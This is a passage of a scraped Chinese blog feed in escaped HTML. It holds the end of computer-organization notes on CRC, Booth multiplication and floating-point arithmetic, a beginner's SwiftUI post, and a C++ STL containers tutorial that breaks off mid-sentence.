data-src=\"https://upload.hawa130.com/2022/04/1884301977.jpeg#vwid=598\u0026vhei=500\" src=\"https://upload.hawa130.com/2022/04/1884301977.jpeg#vwid=598\u0026vhei=500\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch4 id=\"toc_259\"\u003e校验与纠错\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e给定如下码字:\u003ccode\u003e010111010110\u003c/code\u003e,判断出错位置,以及纠错后的原始数据。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/2416132771.jpeg#vwid=620\u0026vhei=267\" src=\"https://upload.hawa130.com/2022/04/2416132771.jpeg#vwid=620\u0026vhei=267\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e若无出错,则校验码均通过,此时 $H_0H_1H_2H_3=0$。\u003c/p\u003e\u003cp\u003e如果只有校验位出错,则只有一个校验码不通过,此时原数据无需修正。\u003c/p\u003e\u003ch3 id=\"toc_260\"\u003e循环冗余校验码(CRC)\u003c/h3\u003e\u003ch4 id=\"toc_261\"\u003e编码\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e信息:\u003ccode\u003e1010110\u003c/code\u003e\u003c/p\u003e\u003cp\u003e生成多项式:$G(x)=x^3+x+1$\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/353297873.jpeg#vwid=568\u0026vhei=400\" src=\"https://upload.hawa130.com/2022/04/353297873.jpeg#vwid=568\u0026vhei=400\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch4 id=\"toc_262\"\u003e校验与纠错\u003c/h4\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/3309748346.jpeg#vwid=526\u0026vhei=400\" src=\"https://upload.hawa130.com/2022/04/3309748346.jpeg#vwid=526\u0026vhei=400\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e若有出错,根据余数值查询出错定位表即可得到出错的位。\u003c/p\u003e\u003ch2 id=\"toc_263\"\u003e定点数的运算\u003c/h2\u003e\u003ch3 id=\"toc_264\"\u003e加减运算\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e补码运算。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"toc_265\"\u003e溢出及其判断\u003c/h4\u003e\u003cp\u003e由于补码表示范围有限,如果计算结果不在范围内,则发生了\u003cstrong\u003e溢出\u003c/strong\u003e。\u003c/p\u003e\u003ch5 id=\"toc_266\"\u003e双符号位(变形码)判决\u003c/h5\u003e\u003cp\u003e00 表示正,11 表示负。如果运算结果中,两个符号位不一致,则说明发生了溢出。\u003c/p\u003e\u003ch3 id=\"toc_267\"\u003e乘法运算\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eBooth 法。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$X\\times Y$$\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e$Y_0$\u003c/th\u003e\u003cth align=\"center\"\u003e$Y_{-1}$\u003c/th\u003e\u003cth\u003e操作\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd\u003e+0,右移一位\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd\u003e+0,右移一位\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd\u003e$+[X]_\\text{补}$,右移一位\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd\u003e$+[-X]_\\text{补}$,右移一位\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e$X=-0.1101$,$Y=+0.0110$,求乘积。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$[X]_\\text{补}=11.0011$,$[-X]_\\text{补}=00.1101$(双符号补码);$[Y]_\\text{补}=0.0110$(单符号补码)。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/3672433379.jpg#vwid=593\u0026vhei=673\" src=\"https://upload.hawa130.com/2022/04/3672433379.jpg#vwid=593\u0026vhei=673\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e得 $[X\\cdot Y]_\\text{补}=1.10110010$。\u003c/p\u003e\u003ch3 id=\"toc_268\"\u003e除法运算\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e原码加减交替法。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$|X|\\div|Y|$$\u003c/p\u003e\u003cul\u003e\u003cli\u003e余数 $R\\ge 0$,商为 1,余数左移,减 $|Y|$(加 $[-|Y|]_\\text{补}$)。\u003c/li\u003e\u003cli\u003e余数 $R\u0026lt;0$,商为 0,余数右移,加 $|Y|$。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e表格数值位扩展到 $|Y|$ 数值位的 2 倍。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e$X=+0.1001110001$,$Y=-0.10101$。求 $X\\div Y$。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$|X|=0.1001110001$,$|Y|=0.10101$,$[-|Y|]_\\text{补}=1.01011$。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/3151439783.jpg#vwid=556\u0026vhei=820\" src=\"https://upload.hawa130.com/2022/04/3151439783.jpg#vwid=556\u0026vhei=820\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e得 $[X\\div Y]_\\text{原}=1.11101$,$\\text{余数}=0.10000\\times 2^{-5}$。\u003c/p\u003e\u003ch4 id=\"toc_269\"\u003e需要恢复余数的情况\u003c/h4\u003e\u003cp\u003eR 符号为负(\u003ccode\u003e11\u003c/code\u003e),则余数需要加 $|Y|$,该操作称为\u003cstrong\u003e恢复余数\u003c/strong\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e$X=-0.1010100000$,$Y=+0.11011$,求 $X\\div Y$。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e过程如下(已省略加减交替过程)。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"恢复余数的情况\" data-src=\"https://upload.hawa130.com/2022/04/1413533926.jpeg#vwid=611\u0026vhei=356\" src=\"https://upload.hawa130.com/2022/04/1413533926.jpeg#vwid=611\u0026vhei=356\"\u003e\u003cfigcaption\u003e恢复余数的情况\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e得 $\\text{余数}=1.11000\\times 2^{-5}$(符号位与被除数一致)。\u003c/p\u003e\u003ch2 id=\"toc_270\"\u003e浮点数的运算\u003c/h2\u003e\u003ch3 id=\"toc_271\"\u003e加减运算\u003c/h3\u003e\u003col\u003e\u003cli\u003e对阶:尾数右移阶码加。\u003c/li\u003e\u003cli\u003e尾数求和/差。\u003c/li\u003e\u003cli\u003e运算结果规格化、舍入。\u003c/li\u003e\u003c/ol\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e$X=\\frac{11}{16}\\times 2^{-4}$,$Y=\\frac{35}{64}\\times 2^{-3}$,计算 $X\\pm Y$。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$X=0.101100\\times 2^{-4}$,$Y=0.100011\\times 2^{-3}$\u003c/p\u003e\u003cp\u003e$[X]_\\text{浮}=01100;0.101100$,$[Y]_\\text{浮}=01101;0.100011$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e对阶:\u003c/strong\u003e$[X]'_\\text{浮}=01101;0.010110$,$[Y]_\\text{浮}=01101;0.100011$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e尾数求和/差\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e求和\u003cbr\u003e $\\begin{array}{ccc} \u0026amp;00.010110 \\\\ +\u0026amp;00.100011 \\\\ \\hline \u0026amp;00.111001 \\end{array}$\u003c/li\u003e\u003cli\u003e求差\u003cbr\u003e $\\begin{array}{ccc} \u0026amp;00.010110 \\\\ -\u0026amp;11.011101 \\\\ \\hline \u0026amp;11.110011 \\end{array}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e规格化:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$0.111001$ 已经是规格化尾数。$[X+Y]_\\text{浮}=01101;0.111001$。\u003c/li\u003e\u003cli\u003e$1.110011$ 需要左归,左移 2 位,阶码减 2。$[X-Y]_\\text{浮}=01011;1.001100$。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e无需进行舍入处理。\u003c/p\u003e\u003ch3 id=\"toc_272\"\u003e乘除运算\u003c/h3\u003e\u003col\u003e\u003cli\u003e阶码加/减。\u003c/li\u003e\u003cli\u003e尾数乘/除。\u003c/li\u003e\u003cli\u003e运算结果规格化、舍入。\u003c/li\u003e\u003c/ol\u003e\n","url":"https://hawa130.com/archives/796/"},{"title":"从零开始的 SwiftUI 之旅","time":"2022-04-02T15:52:00Z","content":"最近算是真正入门了 Swift 这门语言。初识 Swift现代 iOS App 的开发,首选用 Swift 进行开发。Swift 是一门很年轻的编程语言,用于构建用户界面的 SwiftUI 更是...\u003chr /\u003e\n\u003cp\u003e最近算是真正入门了 Swift 这门语言。\u003c/p\u003e\u003ch2 id=\"toc_273\"\u003e初识 Swift\u003c/h2\u003e\u003cp\u003e现代 iOS App 的开发,首选用 Swift 进行开发。\u003c/p\u003e\u003cp\u003eSwift 是一门很年轻的编程语言,用于构建用户界面的 SwiftUI 更是等到 2019 年才发布,所以说生态还在慢慢发展,很多轮子也需要自己造,中文文档也相当缺失。所以在开发过程中,需要借助于 Google 的英文搜索来查找和解决问题,使用国内搜索引擎可能真的什么也搜索不到。\u003c/p\u003e\u003cp\u003e不过好在想要入门这门语言,还是有很多中文资料的。这里推荐 \u003ca href=\"https://swiftgg.gitbook.io/swift/\"\u003eSwiftGG\u003c/a\u003e 作为入门。\u003c/p\u003e\u003cp\u003eSwift 语法上的问题在此处就不赘述了。它是一门设计比较完备的现代编程语言,所以相对脚本语言会更难以入门。但与此同时,这样的门槛也提高了程序的安全性,很多错误可以在编写代码时,通过静态代码检查获得提示。\u003c/p\u003e\u003cp\u003e作为 C++ 选手,Swift 很多语法特性对我来说还是很新颖的。比如结构体的计算属性。\u003c/p\u003e\u003ch2 id=\"toc_274\"\u003e初见 SwiftUI\u003c/h2\u003e\u003cp\u003e打开 Xcode,新建一个应用程序项目,映入眼帘的便是右侧预览窗口中的「Hello World」。可以试试右边的检查器,看看文本的变化。点击右上角的「+」能够添加新组件。在开发过程中,Xcode 的实时预览确实相当强大。不过作为 VSCode 的老用户,快捷键上手还需要一段时间,「Editor」菜单中有许多编辑功能,可以看看它们的快捷键,比如我第一个学到的是 control+shift 进行多光标选择操作。\u003c/p\u003e\u003cp\u003e我还是推荐读者去看看\u003ca href=\"https://developer.apple.com/tutorials/swiftui\"\u003e苹果官方的教程\u003c/a\u003e,跟着一步步来大概就能明白这种 UI 构建的大致思路。不过 SwiftUI 作为新的 UI 框架还是太年轻了,有一些特性还是需要和老的 UIKit 结合,这里教程也有提到。\u003c/p\u003e\u003cp\u003e作为设计之初就考虑到响应式的界面框架,SwiftUI 生成跨 iPhone、iPad、Mac 平台的 UI 还算方便,但也需要根据各个平台进行微调。\u003c/p\u003e\u003cp\u003eSwiftUI 采用声明式,这也与现代用户界面框架 Flutter 一致。作为曾经的 React 选手,我对这种界面构造方式还算比较有亲切感,但上手时又发现了各种各样的问题。\u003c/p\u003e\u003ch3 id=\"toc_275\"\u003e在 body 属性中选择性显示\u003c/h3\u003e\u003cp\u003eSwiftUI 显示的内容都需要写在 body 这个计算属性内部。\u003c/p\u003e\u003cp\u003e写 React 时,根据某个条件渲染组件,我通常为了方便直接用三目表达式返回不同的组件,也比较方便。但是在 SwiftUI 这种强类型语言环境下的条件渲染却成了一个麻烦事,因为不同的组件并非同一个类型,显然同一个函数/计算属性并能返回不同的类型,这时就需要借助 \u003ccode\u003eAnyView\u003c/code\u003e 来渲染了,它能将 UI 组件转换为同一个类型,即 \u003ccode\u003eAnyView\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e在下面的例子中,如果 \u003ccode\u003econdition\u003c/code\u003e 属性为真,则 \u003ccode\u003eSampleView\u003c/code\u003e 渲染为 \u003ccode\u003eComponentA\u003c/code\u003e,反之渲染为 \u003ccode\u003eComponentB\u003c/code\u003e。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-swift\"\u003estruct SampleView: View {\n var condition: Bool\n \n var body: some View {\n if condition {\n AnyView(ComponentA())\n } else {\n AnyView(ComponentB())\n }\n }\n}\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_276\"\u003eForEach 的使用\u003c/h3\u003e\u003cp\u003e当你渲染多个组件时,\u003ccode\u003eForEach\u003c/code\u003e 是必不可少的。但是有时又会出现很多奇怪的报错。\u003c/p\u003e\u003cp\u003e看到 ForEach,理所当然就是迭代遍历一个数组。但是当你往括号里填入数组时,会提示你数组内的元素必须要是「Identifiable」的。一个类型是 Identifiable 的,意味着它一定有 id 这个属性。\u003c/p\u003e\u003cp\u003e比如像下面一样定义一个 \u003ccode\u003eLandmark\u003c/code\u003e (地标)结构体,想要用优雅的方式用列表显示许多地标的行组件(\u003ccode\u003eLandmarkRow\u003c/code\u003e),这个 \u003ccode\u003eLandmark\u003c/code\u003e 结构体就需要有 id 这个属性。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-swift\"\u003estruct Landmark: Identifiable {\n var id: Int // 需要 id 属性\n var name: String\n}\n\nstruct LandmarkList: View {\n var landmarks: [Landmark]\n\n var body: some View {\n List {\n ForEach(landmarks) { landmark in\n LandmarkRow(landmark: landmark)\n }\n }\n }\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e不过这里有一个变通办法,就是数组下标访问,\u003ccode\u003eForEach\u003c/code\u003e 的参数里面,参数的 \u003ccode\u003eid: \\.self\u003c/code\u003e 记得写上,不然会出现警告「Non-constant range: argument must be an integer literal」(也不知道为什么一定要指定 id)。这样 \u003ccode\u003eLandmark\u003c/code\u003e 结构体就不需要 id 属性了。但是这样看起来没那么优雅了,但我感觉在实际开发中,没有 id 的数据可能更常见,所以这种写法可能会更多些。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-swift\"\u003estruct Landmark: {\n var name: String\n}\n\nstruct LandmarkList: View {\n var landmarks: [Landmark]\n\n var body: some View {\n List {\n ForEach(0 ..\u0026lt; landmarks.count, id: \\.self) { index in\n LandmarkRow(landmark: landmarks[index])\n }\n }\n }\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003ccode\u003eForEach\u003c/code\u003e 还有一个奇怪地方,括号里面写闭区间是报错的。不过作为初学者,我也理解不了里面的原因,就这么记着吧。总之呢,写 \u003ccode\u003eForEach\u003c/code\u003e 加上 id 参数总归是没错的。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-swift\"\u003eForEach(0 ... 10) // 报错\nForEach(0 ..\u0026lt; 11) // 无错误\nForEach(0 ... 10, id: \\.self) // 无错误\nForEach(0 ..\u0026lt; 11, id: \\.self) // 无错误\u003c/code\u003e\u003c/pre\u003e\n","url":"https://hawa130.com/archives/789/"},{"title":"STL 使用指南 — 丰富实用的容器","time":"2022-02-22T08:42:00Z","content":"各种各样的 STL 容器,承担着各式各样的使命。上篇文章的容器只提到了栈(stack),它是一种十分简单的容器,并不算什么强大的容器,功能很少。上篇文章仅仅是入门时的小打小闹罢了。本篇文章将会想...\u003chr /\u003e\n\u003cp\u003e各种各样的 STL 容器,承担着各式各样的使命。\u003c/p\u003e\u003cp\u003e上篇文章的容器只提到了栈(\u003ccode\u003estack\u003c/code\u003e),它是一种十分简单的容器,并不算什么强大的容器,功能很少。\u003c/p\u003e\u003cp\u003e上篇文章仅仅是入门时的小打小闹罢了。本篇文章将会想你介绍更多的、功能强大的 STL 容器,能够让你见识到 STL 的真正实力。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本文适用人群:对面向对象编程语言有了解的人,有 C++ 基础更佳。\u003cbr\u003e如果你还对此不了解,请移步上篇的\u003ca href=\"/archives/751/\"\u003e入门文章\u003c/a\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"toc_277\"\u003e通用方法\u003c/h2\u003e\u003cp\u003e下面的通用方法,如无特殊说明,是所有 STL 容器均具有的,请务必记住哦(只有下面三个)。意味着所有的 STL 容器都能使用它们。\u003c/p\u003e\u003cp\u003e这里以 c 作为容器名举例。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ec.empty(); // -\u0026gt; bool 容器是否为空\nc.size(); // -\u0026gt; size_t (int 或其他数值类型) 容器大小(元素个数)\nc.clear(); // -\u0026gt; void 清空容器\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如无特殊说明,STL 容器都是有迭代器的。如果你对这两个都不了解,请\u003ca href=\"/archives/751/#toc_3\"\u003e阅读上篇文章\u003c/a\u003e。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ec.begin(); // -\u0026gt; iterator 头迭代器\n// 如果想要取容器里第三个元素的位置,可以使用 c.begin() + 2\n// 容器的第一个元素相当于是 c.begin() + 0\n\nc.end(); // -\u0026gt; iterator 尾迭代器\nc.rbegin(); // -\u0026gt; reverse_iterator 反向头迭代器\nc.rend(); // -\u0026gt; reverse_iterator 反向尾迭代器\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如无特殊说明,STL 容器都是能够使用 algorithm 提供的算法函数的。例如:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(c.begin(), c.end()); // 将容器 c 内的元素从小到大排序\nreverse(c.begin(), c.end()); // 将容器 c 的内容左右翻转\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e更多 algorithm 用法请参考 \u003ca href=\"https://www.cplusplus.com/reference/algorithm/\"\u003ecplusplus.com\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_278\"\u003e基本容器\u003c/h2\u003e\u003cp\u003e这些容器都是自己手写也比较好实现的,利用 STL 可以偷懒。\u003c/p\u003e\u003ch3 id=\"toc_279\"\u003e队列与栈\u003c/h3\u003e\u003cp\u003e关于栈的介绍,请移步\u003ca href=\"/archives/751/#toc_2\"\u003e上文\u003c/a\u003e。\u003c/p\u003e\u003ch4 id=\"toc_280\"\u003e队列(queue)\u003c/h4\u003e\u003cp\u003e队列是先进先出的,就像现实生活中的队伍一样,队首的人处理完成事情之后会离开(pop)并轮到下一个。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;queue\u0026gt;\n\nusing namespace std;\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e所有 STL 容器都是在 std 命名空间内的,所以想要省事请加上 \u003ccode\u003eusing namespace std;\u003c/code\u003e。为了简洁,后面的文章将省略这行,但是实际写代码不要忘记这行哦。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003equeue\u0026lt;char\u0026gt; q; // 声明一个名字为 q,存储 char 的队列\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e以后的所有容器将默认为 \u003ccode\u003echar\u003c/code\u003e 类型,你可以根据实际情况进行改动,这里只是作为例子。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003eq.front(); // -\u0026gt; char 队首元素\nq.back(); // -\u0026gt; char 队尾元素\nq.push('a'); // -\u0026gt; void 向队尾添加元素:字符'a'\nq.pop(); // -\u0026gt; void 弹出队首元素\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e还有两个 C++11 新增方法,\u003ccode\u003eemplace\u003c/code\u003e 与 \u003ccode\u003eswap\u003c/code\u003e,可参考前篇文章对它们的简单介绍。\u003c/p\u003e\u003ch4 id=\"toc_281\"\u003e双端队列(deque)\u003c/h4\u003e\u003cp\u003e顾名思义,双端队列两头都可以进出,兼有栈和队列的特性。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;deque\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003edeque\u0026lt;char\u0026gt; q; // 声明一个名字为 q,存储 char 的双端队列\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003eq.front(); // -\u0026gt; char 队首元素\nq.back(); // -\u0026gt; char 队尾元素\n// 以上部分和 queue 一样\nq.push_front('a'); // -\u0026gt; void 在队首插入元素:字符'a'\nq.pop_front(); // -\u0026gt; void 弹出队首元素\nq.push_back('a'); // -\u0026gt; void 在队尾插入元素:字符'a'\nq.pop_back(); // -\u0026gt; void 弹出队尾元素\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e更多方法参见 \u003ca href=\"https://www.cplusplus.com/reference/deque/deque/\"\u003ecplusplus.com\u003c/a\u003e。本文章只介绍常见的。\u003c/p\u003e\u003ch3 id=\"toc_282\"\u003e链表(list)\u003c/h3\u003e\u003cp\u003e经典数据结构——双向链表。可以 $O(1)$ 快速插入和和删除某个元素,$O(n)$ 遍历元素。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;list\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003elist\u0026lt;char\u0026gt; l; // 声明一个名字为 l,存储 char 的链表\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003el.front(); // -\u0026gt; char 首位元素\nl.back(); // -\u0026gt; char 末尾元素\nl.push_front('a'); // -\u0026gt; void 在首位插入元素:字符'a'\nl.pop_front(); // -\u0026gt; void 弹出首元素\nl.push_back('a'); // -\u0026gt; void 在末尾插入元素:字符'a'\nl.pop_back(); // -\u0026gt; void 弹出尾元素\n// 以上部分和 deque 一样\n\nl.insert(l.begin(), 'a');\n// -\u0026gt; iterator 在指定位置(这里的例子是队首,其实是迭代器就行)插入字符'a',返回插入后元素的迭代器\nl.insert(l.begin(), 3, 'a'); // 插入 3 个'a'(次)\n\nl.erase(l.begin());\n// -\u0026gt; iterator 删除指定位置(这里的例子是队首,其实是迭代器就行)的元素,返回被删除元素下一个元素的迭代器\nl.erase(l.begin(), l.end()); // 删除指定区间的元素\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e更多方法参见 \u003ca href=\"https://www.cplusplus.com/reference/deque/deque/\"\u003ecplusplus\u003c/a\u003e。本文章只介绍常见的。\u003c/p\u003e\u003ch3 id=\"toc_283\"\u003e其他\u003c/h3\u003e\u003cp\u003e下面这些不常用,感兴趣的读者可自行搜索相关资料。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e数组(array)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e和普通定长数组一样,没什么特别之处,不怎么常用。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e单向链表(forward list)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e比起双向链表,唯一的优点也许只有内存占用小了吧。因为是单向,所以\u003cstrong\u003e不提供反向迭代器\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"toc_284\"\u003e有点意思的容器\u003c/h2\u003e\u003cp\u003e这里的容器都是看起来简单,却实际却又没那么简单的容器。\u003c/p\u003e\u003ch3 id=\"toc_285\"\u003e向量 / 动态数组(vector)\u003c/h3\u003e\u003cp\u003e动态数组,顾名思义,长度是动态的。可以像数组一样 $O(1)$ 下标访问,就像普通数组一样。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;vector\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003evector\u0026lt;char\u0026gt; v;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e构造器\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e构造器是初始化一个容器时用的,它会在容器创建时自动执行。在声明时这样写即可使用构造器。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 定义时,将指定区间拷贝到 v 中\nvector\u0026lt;char\u0026gt; v(l.begin(), l.end());\n// 如果用的是数组,可以像下面这样构造 vector\nint a[] = {11, 4, 51, 4};\nvector\u0026lt;int\u0026gt; v(a, a + 4);\n// 也可以指定初始化数目和变量,如下,定义一个含有 4 个字符'a'的 vector\nvector\u0026lt;char\u0026gt; v(4, 'a');\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ev.front(); // -\u0026gt; char 首位元素\nv.back(); // -\u0026gt; char 末尾元素\nv.push_back('a'); // -\u0026gt; void 在末尾插入元素:字符'a'\nv.pop_back(); // -\u0026gt; void 弹出尾元素\nv.insert(v.begin(), 'a'); // -\u0026gt; iterator 在指定位置插入字符'a',返回插入后元素的迭代器\nv.insert(v.begin(), 3, 'a'); // 插入 3 个(次)'a'\nv.erase(v.begin()); // -\u0026gt; iterator 删除指定位置的元素,返回被删除元素下一个元素的迭代器\nv.erase(v.begin(), v.end()); // 删除指定区间的元素\n// 以上部分和 list 一样\nv[1] // -\u0026gt; char 访问下标为 1 的元素\nv.at(1) // -\u0026gt; char 同上\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_286\"\u003e字符串(string)\u003c/h3\u003e\u003cp\u003e功能强大的字符串类,字符串处理题好帮手。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e需要的头文件\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;string\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e声明与定义\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estring s;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e构造器\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estring s(\u0026quot;hanwan\u0026quot;); // 可以把 C 风格的字符数组作为构造器参数,让它变成 string\nstring s(3, 'a'); // 当然也能填充字符,定义一个含有 3 个'a'字符串\u0026quot;aaa\u0026quot;。\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e输入输出方式\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e使用 C++ 的输入输出流。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e// 输入\ncin \u0026gt;\u0026gt; s; // 读入一个单词(遇到空格时结束输入)\ngetline(cin, s); // 读入整行(遇到换行符结束输入)\n// 输出\ncout \u0026lt;\u0026lt; s; // 不换行\ncout \u0026lt;\u0026lt; s \u0026lt;\u0026lt; endl; // 换行\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cstrong\u003e方法\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e字符串提供的方法有太多了。这里分了几组。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e访问方法\u003c/strong\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003es[1]; s.at(1); // -\u0026gt; char 访问下标为 1 的字符\n// 以上和 vector 一样\ns.length(); // -\u0026gt; size_t 字符串长度(等价于 